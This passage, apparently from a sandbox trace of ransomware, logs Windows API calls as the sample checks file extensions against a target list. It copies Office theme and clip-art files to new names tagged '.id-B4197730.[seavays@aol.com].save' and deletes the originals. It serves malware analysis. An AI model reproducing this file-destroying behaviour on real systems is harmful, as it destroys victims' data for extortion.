(lpString=".7z") returned 3 [0176.659] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.659] lstrlenW (lpString=".dbf") returned 4 [0176.659] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.660] lstrlenW (lpString=".1cd") returned 4 [0176.660] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.660] lstrlenW (lpString=".jpg") returned 4 [0176.660] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.660] lstrlenW (lpString=".doc") returned 4 [0176.660] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.660] lstrlenW (lpString=".docx") returned 5 [0176.660] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.660] lstrlenW (lpString=".pdf") returned 4 [0176.660] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.660] lstrlenW (lpString=".xls") returned 4 [0176.660] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.660] lstrlenW (lpString=".xlsx") returned 5 [0176.660] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.660] lstrlenW (lpString=".ppt") returned 4 [0176.660] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.660] lstrlenW (lpString=".zip") returned 4 [0176.660] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.660] lstrlenW (lpString=".rar") returned 4 [0176.660] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.660] lstrlenW (lpString=".bz2") returned 4 [0176.660] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.660] lstrlenW (lpString=".7z") returned 3 [0176.660] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.660] lstrlenW (lpString=".dbf") returned 4 [0176.660] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.661] lstrlenW (lpString=".1cd") returned 4 [0176.661] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.661] lstrlenW (lpString=".jpg") returned 4 [0176.661] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.662] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0176.662] lstrlenW (lpString="WNTER_01.MID") returned 12 [0176.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.664] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=6915) returned 1 [0176.664] CloseHandle (hObject=0x534) returned 1 [0176.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0176.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.665] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.665] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.665] GetLastError () returned 0x0 [0176.665] ReadFile (in: hFile=0x534, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x1b03, lpOverlapped=0x0) returned 1 [0176.667] WriteFile (in: hFile=0x370, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0176.668] ReadFile (in: hFile=0x534, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.668] WriteFile (in: hFile=0x370, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.668] SetEndOfFile (hFile=0x370) returned 1 [0176.668] CloseHandle (hObject=0x370) returned 1 [0176.668] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.668] SetEndOfFile (hFile=0x534) returned 1 [0176.671] CloseHandle (hObject=0x534) returned 1 [0176.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.673] lstrlenW (lpString=".doc") returned 4 [0176.673] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.673] lstrlenW (lpString=".docx") returned 5 [0176.673] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.673] lstrlenW (lpString=".pdf") returned 4 [0176.673] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.673] lstrlenW (lpString=".xls") returned 4 [0176.673] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.673] lstrlenW (lpString=".xlsx") returned 5 [0176.673] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.673] lstrlenW (lpString=".ppt") returned 4 [0176.673] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.673] lstrlenW (lpString=".zip") returned 4 [0176.673] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.673] lstrlenW (lpString=".rar") returned 4 [0176.673] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.673] lstrlenW (lpString=".bz2") returned 4 [0176.673] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.673] lstrlenW (lpString=".7z") returned 3 [0176.673] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.673] lstrlenW (lpString=".dbf") returned 4 [0176.673] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.673] lstrlenW (lpString=".1cd") returned 4 [0176.674] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.674] lstrlenW (lpString=".jpg") returned 4 [0176.674] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.674] lstrlenW (lpString=".doc") returned 4 [0176.674] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.674] lstrlenW (lpString=".docx") returned 5 [0176.674] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.674] lstrlenW (lpString=".pdf") returned 4 [0176.674] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.674] lstrlenW (lpString=".xls") returned 4 [0176.674] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.674] lstrlenW (lpString=".xlsx") returned 5 [0176.674] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.674] lstrlenW (lpString=".ppt") returned 4 [0176.674] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.674] lstrlenW (lpString=".zip") returned 4 [0176.674] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.674] lstrlenW (lpString=".rar") returned 4 [0176.674] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.674] lstrlenW (lpString=".bz2") returned 4 [0176.674] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.674] lstrlenW (lpString=".7z") returned 3 [0176.674] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.674] lstrlenW (lpString=".dbf") returned 4 [0176.674] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.674] lstrlenW (lpString=".1cd") returned 4 [0176.675] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0176.675] lstrlenW (lpString=".jpg") returned 4 [0176.675] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.675] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0176.675] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0176.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.679] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=47851) returned 1 [0176.679] CloseHandle (hObject=0x534) returned 1 [0176.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0176.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.680] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.680] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.682] GetLastError () returned 0x0 [0176.682] ReadFile (in: hFile=0x534, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0176.685] WriteFile (in: hFile=0x370, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0176.687] ReadFile (in: hFile=0x534, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.687] WriteFile (in: hFile=0x370, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xf4, lpOverlapped=0x0) returned 1 [0176.687] SetEndOfFile (hFile=0x370) returned 1 [0176.687] CloseHandle (hObject=0x370) returned 1 [0176.687] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.687] SetEndOfFile (hFile=0x534) returned 1 [0176.691] CloseHandle (hObject=0x534) returned 1 [0176.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0176.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.835] lstrlenW (lpString=".doc") returned 4 [0176.835] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0176.835] lstrlenW (lpString=".docx") returned 5 [0176.835] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0176.835] lstrlenW (lpString=".pdf") returned 4 [0176.835] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0176.835] lstrlenW (lpString=".xls") returned 4 [0176.835] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0176.835] lstrlenW (lpString=".xlsx") returned 5 [0176.836] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0176.836] lstrlenW (lpString=".ppt") returned 4 [0176.836] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.836] lstrlenW (lpString=".zip") returned 4 [0176.836] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString=".rar") returned 4 [0176.836] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString=".bz2") returned 4 [0176.836] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString=".7z") returned 3 [0176.836] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0176.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.836] lstrlenW (lpString=".dbf") returned 4 [0176.836] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.836] lstrlenW (lpString=".1cd") returned 4 [0176.836] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.836] lstrlenW (lpString=".jpg") returned 4 [0176.836] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.836] lstrlenW (lpString=".doc") returned 4 [0176.836] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0176.836] lstrlenW (lpString=".docx") returned 5 [0176.837] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0176.837] lstrlenW (lpString=".pdf") returned 4 [0176.837] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString=".xls") returned 4 [0176.837] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString=".xlsx") returned 5 [0176.837] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0176.837] lstrlenW (lpString=".ppt") returned 4 [0176.837] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.837] lstrlenW (lpString=".zip") returned 4 [0176.837] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString=".rar") returned 4 [0176.837] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString=".bz2") returned 4 [0176.837] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString=".7z") returned 3 [0176.837] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0176.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.837] lstrlenW (lpString=".dbf") returned 4 [0176.837] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.837] lstrlenW (lpString=".1cd") returned 4 [0176.837] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0176.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0176.837] lstrlenW (lpString=".jpg") returned 4 [0176.837] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0176.838] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0176.838] lstrlenW (lpString="Frosted Glass.eftx") returned 18 [0176.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.839] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=334131) returned 1 [0176.839] CloseHandle (hObject=0x370) returned 1 [0176.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0176.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.840] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.840] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0176.841] GetLastError () returned 0x0 [0176.841] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x51933, lpOverlapped=0x0) returned 1 [0176.859] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x51940, lpOverlapped=0x0) returned 1 [0177.295] ReadFile (in: hFile=0x370, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.295] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xf8, lpOverlapped=0x0) returned 1 [0177.295] SetEndOfFile (hFile=0x434) returned 1 [0177.409] CloseHandle (hObject=0x434) returned 1 [0177.409] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.409] SetEndOfFile (hFile=0x370) returned 1 [0177.421] CloseHandle (hObject=0x370) returned 1 [0177.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0177.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.932] lstrlenW (lpString=".doc") returned 4 [0177.932] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.932] lstrlenW (lpString=".docx") returned 5 [0177.933] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.933] lstrlenW (lpString=".pdf") returned 4 [0177.933] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString=".xls") returned 4 [0177.933] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString=".xlsx") returned 5 [0177.933] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.933] lstrlenW (lpString=".ppt") returned 4 [0177.933] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.933] lstrlenW (lpString=".zip") returned 4 [0177.933] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString=".rar") returned 4 [0177.933] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString=".bz2") returned 4 [0177.933] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString=".7z") returned 3 [0177.933] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0177.933] lstrlenW (lpString=".dbf") returned 4 [0177.933] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted 